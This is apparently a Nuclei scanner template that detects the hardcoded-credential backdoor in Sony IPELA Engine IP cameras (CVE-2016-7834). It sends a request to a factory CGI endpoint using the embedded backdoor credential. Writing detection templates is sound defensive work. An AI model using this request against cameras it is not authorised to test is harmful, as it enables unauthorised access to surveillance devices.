id: sony-camera-backdoor

info:
  name: Backdoor In Sony IPELA Engine IP Cameras
  author: af001
  severity: medium
  description: |
    Multiple SONY network cameras vulnerable to sensitive information disclosure via hardcoded credentials and a backdoor.
  reference:
    - https://sec-consult.com/vulnerability-lab/advisory/backdoor-vulnerability-in-sony-ipela-engine-ip-cameras/
    - https://www.bleepingcomputer.com/news/security/backdoor-found-in-80-sony-surveillance-camera-models/
    - https://jvn.jp/en/vu/JVNVU96435227/index.html
  remediation: |
    Upgrade to the latest version of the firmware provided by Sony.
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RL:O/RC:C
    cvss-score: 6.50
    cve-id: CVE-2016-7834
    cwe-id: CWE-798
  tags: sony,backdoor,unauth,telnet,iot,camera

requests:
  - method: GET
    path:
      - "{{BaseURL}}/command/prima-factory.cgi"

    headers:
      Authorization: Bearer cHJpbWFuYTpwcmltYW5h

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'gen5th'
          - 'gen6th'
        condition: or

      - type: status
        status:
          - 204